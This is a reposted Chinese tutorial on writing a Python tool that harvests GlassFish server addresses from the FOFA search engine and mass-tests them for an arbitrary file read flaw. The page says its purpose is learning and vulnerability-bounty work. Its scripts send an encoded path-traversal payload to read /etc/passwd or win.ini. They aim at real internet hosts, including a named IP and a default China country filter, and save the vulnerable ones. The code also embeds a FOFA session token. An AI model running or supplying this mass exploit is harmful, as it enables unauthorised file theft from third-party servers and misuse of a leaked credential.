Python 开发-批量 FofaSRC 提取POC 验证

news2024/11/25 13:31:19

数据来源

学习内容和目的:

  • ---Request 爬虫技术,lxml 数据提取,异常护理,Fofa 等使用说明
  • ---掌握利用公开或 0day 漏洞进行批量化的收集及验证脚本开发
  • Python 开发-某漏洞 POC 验证批量脚本
  • ---glassfish存在任意文件读取在默认48484端口,漏洞验证的poc为:

案例一:应用服务器glassfish任意文件读取漏洞 (漏洞发现)

http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 
etc/passwd 是linux系统
如果是Windows就改成/windows/win.ini,然后在fofa上搜索相应的关键字(中间件+端口+国家):

网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统

"glassfish"&& port="4848"     # glassfish 查找的关键字  查找对应“4848”端口的资产

 1、检测网站是否存在glassfish任意文件读取漏洞

创建一个 Glassfish_poc.py 文件写入以下代码:

import requests  #  安装:pip install requests

"""
 1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/'         # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'        # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统

# data_linux = requests.get(url+payload_linux)                # 使用requests模块的get方法请求网站获取网站源代码
# data_windows = requests.get(url+payload_windows)            # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8'))                   # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))

data_linux = requests.get(url+payload_linux).status_code       # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code   # 获取请求后的返回状态码
print(data_linux)
print(data_windows)

if data_linux == 200 or data_windows == 200:   # 判断状态码,200漏洞存在否则不存在
    print("yes")
else:
    print("no")

2、实现这个漏洞批量化

 1)首先使用Fofa检查一下使用了glassfish这个服务器的网站

选择分页后的URL:

https://fofa.info/result?qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D&page=2&page_size=10)huo

2)获取Fofa搜索后的源代码(HTML代码)

在原来的文件中添加就好

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
"""
 1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/'         # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'        # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统

# data_linux = requests.get(url+payload_linux)                # 获取请求后的返回源代码
# data_windows = requests.get(url+payload_windows)            # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8'))                   # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))

data_linux = requests.get(url+payload_linux).status_code       # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code   # 获取请求后的返回状态码
print(data_linux)
print(data_windows)

if data_linux == 200 or data_windows == 200:   # 判断状态码,200漏洞存在否则不存在
    print("yes")
else:
    print("no")
"""
2、如何实现这个漏洞批量化:
   1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
      1.2) 将请求的数据进行筛选
   2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
# 第1页
search_data = '"glassfish" && port="4848" && country="CN"'                    # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64='                                     # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")  # 把我们的搜索关键字加密成base64字符串
urls = url + search_data_bs                                                   # 拼接网站url
result = requests.get(urls).content                                           # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
etree = html.etree                                                            # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
print(urls)
print(result.decode('utf-8'))    

​ 

3)使用lxml模块中的etree方法提取我们需要的数据(网站的ip)

        首先需要明确我们需要的数据是啥,对我们最有价值的数据就是使用了glassfish这个服务器搭建的网站的IP/域名

        然后要找到IP/域名在源码中的那个位置,方法:在浏览器中先使用fofa搜索网站 -> 打开开发者工具(F12) ->使用开发者工具栏中的箭头点击我们要查看的IP/域名

​  

在原来的文件中继续更改 

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml

"""
 1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/'         # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'        # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统

# data_linux = requests.get(url+payload_linux)                # 获取请求后的返回源代码
# data_windows = requests.get(url+payload_windows)            # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8'))                   # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))

data_linux = requests.get(url+payload_linux).status_code       # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code   # 获取请求后的返回状态码
print(data_linux)
print(data_windows)

if data_linux == 200 or data_windows == 200:   # 判断状态码,200漏洞存在否则不存在
    print("yes")
else:
    print("no")
"""
2、如何实现这个漏洞批量化:
   1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
      1.2) 将请求的数据进行筛选
   2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
# 第1页   && country="CN"
search_data = '"glassfish" && port="4848"'                    # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64='                                     # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")  # 把我们的搜索关键字加密成base64字符串
urls = url + search_data_bs                                                   # 拼接网站url
result = requests.get(urls).content                                           # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
etree = html.etree                                                            # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
print(urls)
# print(result.decode('utf-8'))                                                  # 查看返回结果
soup = etree.HTML(result)                                                     # result.decode('utf-8') 请求返回的HTML代码
ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')   # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
print(ip_data)

​ 

最后把数据存储到本地的文件中

改下代码

# set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
ipdata = '\n'.join(set(ip_data))                                              # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
print(ipdata,type(ipdata))

with open(r'ip.txt','a+') as f:                                               # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
    f.write(ipdata)                                                           # write() 方法写入数据
    f.close()                                                                 # close() 关闭保存文件

​ 

4)实现翻页获取数据

现在只是获取了第一页的数据只有10条,我们这里实现一个翻页,但是这个网站需要我们登录之后才能进行翻页,所以我们先登录一下,然后选择翻页查看网站url路径的变化,如果url没有变化就要打开F12或者使用抓包软件进行查看,因为如果没有变化就说明这个翻页的请求不是get可能是post或者其他

知道了网站是通过page这个参数控制页数后我们也改下自己的代码,如果要改一页的展示数量也可以加上page_size

 获取登录后的cookie(用来验证身份的)

改下代码

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml
import time

"""
 1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/'         # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'        # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统

# data_linux = requests.get(url+payload_linux)                # 获取请求后的返回源代码
# data_windows = requests.get(url+payload_windows)            # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8'))                   # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))

data_linux = requests.get(url+payload_linux).status_code       # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code   # 获取请求后的返回状态码
print(data_linux)
print(data_windows)

if data_linux == 200 or data_windows == 200:   # 判断状态码,200漏洞存在否则不存在
    print("yes")
else:
    print("no")
"""
2、如何实现这个漏洞批量化:
   1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
      1.2) 将请求的数据进行筛选
   2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
# 循环切换分页
search_data = '"glassfish" && port="4848"'                                        # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64='                                         # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")      # 把我们的搜索关键字加密成base64字符串
headers = {                                                                       # 请求的头部,用于身份验证
    'cookie':'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw;'
}
# 这里就是遍历9页数据,如果需要更多也可以把数字改大
for yeshu in range(1,10):                                                         # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身
    try:
        # print(yeshu) # 1,2,3,4,5,6,7,8,9
        urls = url + search_data_bs +"&page="+ str(yeshu) +"&page_size=10"      # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据
        print(f"正在提取第{yeshu}页数据")
        # urls 请求的URL    headers 请求头,里面包含身份信息
        result = requests.get(urls,headers=headers).content                           # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
        etree = html.etree                                                            # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
        print(urls)
        # print(result.decode('utf-8'))                                               # 查看返回结果
        soup = etree.HTML(result)                                                     # result.decode('utf-8') 请求返回的HTML代码
        ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')  # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
        # set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
        ipdata = '\n'.join(set(ip_data))                                              # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
        time.sleep(0.5)                                                               #  time.sleep(0.5) 阻塞0.5秒,让程序不要执行太快不然容易报错
        if ipdata == '':                                                                    # 我的fofa账号就是普通的账号,没开通会员可以查看上网数据有限,所以这里写个判断
            print(f"第{yeshu}页数据,提取失败数据为空,没有权限")
        else:
            print(f"第{yeshu}页数据{ipdata}")
            with open(r'ip.txt','a+') as f:                                               # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                f.write(ipdata)                                                           # write() 方法写入数据
                f.close()                                                                 # close() 关闭保存文件
    except Exception as e:
        pass

然后如果要检查这些网站的漏洞就把文件内的数据读取出来按照之前的检测步骤就可以批量检测了

5)实现批量检测漏洞,在同级目录下创建 check_vuln.py  写入如下代码:

import requests,time

def poc_check():
    payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    for ip in open('ip.txt'):               # ip.txt 就是刚才我们通过fofa提取出来的目标网站ip
        ip = ip.replace('\n', '')           # replace() 方法替换字符串,将换行替换为空
        try:
            print(f"正在检测:{ip}")
            # requests模块是用来发送网络请求的 .get() 发送get请求    status_code获取请求之后的状态码,200正常发送说明存在漏洞
            vuln_code_l = requests.get(ip + payload_linux).status_code           # 发送检测linux系统的请求,因为我们现在也不知道目标是什么操作系统所以都发送试试
            vuln_code_w = requests.get(ip + payload_windows).status_code         # 发送检测windows系统的请求
            print(vuln_code_l,vuln_code_w)
            if vuln_code_l == 200 or vuln_code_w == 200:                       # 判断当前网站是否存在漏洞
                # print(poc_data.content.decode('utf-8'))
                print("-----------")
                with open(r'vuln.txt','a') as f:                             # 将存在漏洞的网站url存入本地文件中
                    f.write(ip+'\n')                                            # write()文件写入方法,\n 换行让一个url占一行
                    f.close()
            time.sleep(0.5)
        except Exception as e:
            print(e)

if __name__ == '__main__':
    poc_check()

6)漏洞利用这个漏洞就是一个任意文件读取的漏洞,我们只需要访问网站ip+ 攻击的url+要查看的文件路径

访问网站的url/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/要查看的文件

7)代码优化 

将Glassfish_poc.py文件的代码改下,过程:将两个文件合成了一个,支持从外部传入数据调用程序

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml
import time
import sys

"""
1、批量收集使用了应用服务器glassfish的网站ip/域名:
   1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
      1.2) 将请求的数据进行筛选
   2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
def fofa_search(search_data:str,page:int,cookie:str=''):
    """
    批量收集使用了应用服务器glassfish的网站IP的批量化函数
    :param search_data: 接收fofa的搜索关键字
    :param page: 接收fofa的数据读取页数
    :param cookie: 接收fofa的登录后的cookie用于身份验证
    :return: Nono
    """
    url = 'https://fofa.info/result?qbase64='                                         # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
    search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")      # 把我们的搜索关键字加密成base64字符串
    if cookie =='':                                                                   # 如果没有传入cookie就使用默认的
        cookie = 'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw;'

    headers = {                                                                       # 请求的头部,用于身份验证
        'cookie':cookie
    }
    # 这里就是遍历9页数据,如果需要更多也可以把数字改大
    for yeshu in range(1,page+1):                                                     # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身
        try:
            # print(yeshu) # 1,2,3,4,5,6,7,8,9
            urls = url + search_data_bs +"&page="+ str(yeshu) +"&page_size=10"         # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据
            print(f"正在提取第{yeshu}页数据")
            # urls 请求的URL    headers 请求头,里面包含身份信息
            result = requests.get(urls,headers=headers).content                        # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
            etree = html.etree                                                         # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
            print(urls)
            # print(result.decode('utf-8'))                                            # 查看返回结果
            soup = etree.HTML(result)                                                  # result.decode('utf-8') 请求返回的HTML代码
            ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')  # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
            # set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
            ipdata = '\n'.join(set(ip_data))                                           # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
            time.sleep(0.5)                                                            #  time.sleep(0.5) 阻塞0.5秒,让程序不要执行太快不然容易报错
            if ipdata == '':                                                           # 我的fofa账号就是普通的账号,没开通会员可以查看上网数据有限,所以这里写个判断
                print(f"第{yeshu}页数据,提取失败数据为空,没有权限")
            else:
                print(f"第{yeshu}页数据{ipdata}")
                # with open 语法 会在文件操作完成后自动关闭文件,就相当自动执行 f.close() 方法
                with open(r'ip.txt','a+') as f:                           # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                    f.write(ipdata)                                                    # write() 方法写入数据
        except Exception as e:
            pass
"""
 2、批量检测网站是否存在应用服务器glassfish任意文件读取漏洞
"""
def check_vuln():
    """
    批量检测ip.txt文件中网站是否存在漏洞,收集起来放入vuln.txt中
    :return: None
    """
    payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    for ip in open('ip.txt'):                               # ip.txt 就是刚才我们通过fofa提取出来的目标网站ip
        ip = ip.replace('\n', '')                                        # replace() 方法替换字符串,将换行替换为空
        try:
            print(f"正在检测:{ip}")
            # requests模块是用来发送网络请求的 .get() 发送get请求    status_code获取请求之后的状态码,200正常发送说明存在漏洞
            vuln_code_l = requests.get(ip + payload_linux).status_code    # 发送检测linux系统的请求,因为我们现在也不知道目标是什么操作系统所以都发送试试
            vuln_code_w = requests.get(ip + payload_windows).status_code  # 发送检测windows系统的请求
            print(vuln_code_l, vuln_code_w)
            if vuln_code_l == 200 or vuln_code_w == 200:                  # 判断当前网站是否存在漏洞
                # print(poc_data.content.decode('utf-8'))
                with open(r'vuln.txt', 'a') as f:                         # 将存在漏洞的网站url存入本地文件中
                    f.write(ip + '\n')                                    # write()文件写入方法,\n 换行让一个url占一行
            time.sleep(0.5)
        except Exception as e:
            print(e)

if __name__ == '__main__':
    try:
        search = sys.argv[1]        # 接收外部传进来的第一个参数,搜索的参数
        page = sys.argv[2]          # 接收外部传进来的第二个参数,搜索的页数
        fofa_search(search,int(page))  # 批量收集网站ip
    except Exception as e:          # 如果没有在外部传入两参数,就会报错
        search = '"glassfish" && port="4848" && country="CN"'                                        # 搜索的关键字, country 查询的国家 CN 中国
        page = 10
        fofa_search(search,page)    # 手动传入参数

    check_vuln()                    # 批量检测网站是否存在漏洞

 如果配置了python的系统环境变量,执行命令的pthon执行程序也可以不写,直接写项目路径+参数

F:\python项目\python_study\day77\Glassfish_poc.py glassfish 10

 

 

涉及资源:

https://fofa.so/
https://src.sjtu.edu.cn/
https://www.secpulse.com/archives/42277.html
https://pan.baidu.com/s/13y3U6jX3WUYmnfKnXT8abQ 提取码:
xo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/393801.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

canal admin管理端配置(二)

下载安装 下载地址: 下载解压即可 配置 修改canal.admin-1.1.5\conf\application.yml server:port: 8089 #端口根据是否冲突修改 spring:jackson:date-format: yyyy-MM-dd HH:mm:sstime-zone: GMT8spring.datasource:address: 192.0.16.12:3306#数据库ip和端口…

Day09-网页布局实战定位

文章目录网页布局实战一 表格案例1-单元格的合并案例2-随堂练习二 定位1 文档流2 position 共有四个属性值:3 固定定位案例1-右下角广告案例2-头部固定案例3-div居中4 相对定位案例1-基础案例案例2-文字居于水平线中间5 绝对定位案例1-基础案例6 定位的层次关系 z-index案例1踩…

免费下载丨一看即会,Serverless 技术进阶必读百宝书

过去一年,全球正在加速推进云计算的 Serverless 化进程。Serverless 架构已经逐渐从“被接受”走向了“被学习”和“被应用”。云的产品体系正在 Serverless 化,从计算、存储、数据库到中间件,越来越多的云产品采用了 Serverless 模式。服务器…

筑基九层 —— 指针详解

目录 前言: 指针详解 前言: 1.CSDN由于我的排版不怎么好看,我的有道云笔记比较美观,请移步有道云笔记 2.修炼必备 1)入门必备:VS2019社区版,下载地址:Visual Studio 较旧的下载 -…

现代卷积神经网络(GoogleNet),并使用GoogleNet进行实战CIFAR10分类

专栏:神经网络复现目录 本章介绍的是现代神经网络的结构和复现,包括深度卷积神经网络(AlexNet),VGG,NiN,GoogleNet,残差网络(ResNet),稠密连接网络…

【Hello Linux】进程控制 (内含思维导图)

作者:小萌新 专栏:Linux 作者简介:大二学生 希望能和大家一起进步! 本篇博客简介:简单介绍下进程的控制 包括进程启动 进程终止 进程等待 进程替换等概念 进程控制介绍进程创建fork函数fork函数的返回值fork函数的使用…

利用Cookie劫持+HTML注入进行钓鱼攻击

目录 HTML注入和cookie劫持: 发现漏洞 实际利用 来源 HTML注入和cookie劫持: HTML注入漏洞一般是由于在用户能够控制的输入点上,由于缺乏安全过滤,导致攻击者能将任意HTML代码注入网页。此类漏洞可能会引起许多后续攻击&#…

高德地图绘制图层

效果图: //初始数据 data(){return{//地图map:{address:,map:null,//当前鼠标绘制mouseTool:null,//当前编辑polyEditor:null,//覆盖物的绘制点【用于编辑】mouseToolArr:[],//覆盖物的poly对象polyArr:[],//地图右侧功能按钮signNumber:0,//保存提交的覆盖物的点数…

win10添加右键菜单打开VSCode

当进入一个文件夹后,想右键直接打开我的工程,用发现没有vscode项。 我了方便,把 VSCode添加到右键菜单吧。 1. 在桌面新建一个txt文档,用文本编辑器打开 2. 查看vscode所在位置 在桌面找到vscode快捷键图标,右键--&g…

2023年考PMP真的有用吗?含备考资料分享~

对于项目管理者来说,是真的有用,前提是你真的学进去了,是为了学习而考,而不是为了考证而考,考试的作用不是为了让你得到证书,而是考校你的水平,知识是知识,经验是经验,缺…

【浅学Java】MySQL索引七连炮

MySQL索引面试七连炮0. 谈一下你对索引的理解1. MySQL索引原理和数据结构能介绍一下吗2. B树和B树的区别3. MySQL聚簇索引和非聚簇索引的区别4. 使用MySQL索引都有什么原则4.1 回表4.2 索引覆盖4.3 最左匹配4.4 索引下推5. 不同的存储引擎是如何进行数据的存储的6. MySQL组合索…

根据文件内容批量更改文件名称

注意的问题: ★★★待处理的文件顺序要与excel中新的文件名称顺序一致,我直接复制文件地址到excel中顺序与原来顺序不一样,也不能通过排序得到原来的顺序,这里给出一种解决办法,具体步骤见2数据预处理阶段。 1. 这是我…

最新版本OpenAI怎么调试--用Postman调试最新版OpenAI-API

动动小手指,去到openai的API介绍页面。 https://platform.openai.com/docs/api-reference/models 通过官网的提示,可以copy对应的调试命令进行测试。 本文主要通过curl命令实现。 打开Postman,对,就是那个测试接口用的postman ​…

浙江首场千人大会现场爆满!实在智能九哥专题演讲:企业数字化转型,从实在RPA开始!

为帮助众多电商商家探索数字时代下新赛道、新趋势、新方向,制定有目标、有节奏的全年生意规划,“未来电商高峰论坛暨电商生态赋能大会”于3月4日在杭州正式拉开序幕。本次大会旨在向品牌电商企业主、运营操盘手分享数字电商时代的黄金趋势及运营策略&…

【C++】30h速成C++从入门到精通(继承)

继承的概念及定义继承的概念继承(inheritance)机制是面向对象程序设计使代码可以复用的重要手段,它允许程序员在保持原有类特性的基础上进行扩展,增加功能,这样产生新的类,称派生类。继承呈现了面向对象程序…

数据结构——链表OJ题目讲解(1)

作者:几冬雪来 时间:2023年3月7日 内容:数据结构链表OJ题目讲解 题目来源:力扣和牛客 目录 前言: 刷题: 1.移出链表元素: 2.链表的中间结点: 3. 链表中倒数第k个结点&#xff1…

第六届省赛——8移动距离(总结规律)

题目:X星球居民小区的楼房全是一样的,并且按矩阵样式排列。其楼房的编号为1,2,3...当排满一行时,从下一行相邻的楼往反方向排号。比如:当小区排号宽度为6时,开始情形如下:1 2 3 4 5 612 11 10 9 8 713 14 1…

【论文简述】MVSTER: Epipolar Transformer for EfficientMulti-View Stereo(ECCV 2022)

一、论文简述 1. 第一作者:Xiaofeng Wang 2. 发表年份:2022 3. 发表期刊:ECCV 4. 关键词:MVS、3D重建、Transformer、极线几何 5. 探索动机:融合多视图代价体很关键,现有的方法效率低,引入…

【Git】P2 分支(创建分支,合并分支,分支冲突,分支分类)

分支分支的概念2077 与 分支git - 分支分支语句查看与创建分支切换与删除分支合并分支分支冲突分支分类分支的概念 什么是分支? 2077 与 分支 我最喜欢的游戏就是 赛博朋克2077,美国末日 和 GTA,下图是2077的存档。 存档非常多的原因是因为…

JavaScript 语句、注释和代码块实例集合

文章目录JavaScript 语句、注释和代码块实例集合JavaScript 语句JavaScript 代码块JavaScript 单行注释JavaScript 多行注释使用单行注释来防止执行使用多行注释来防止执行JavaScript 语句、注释和代码块实例集合 JavaScript 语句 源码 <!DOCTYPE html> <html> &…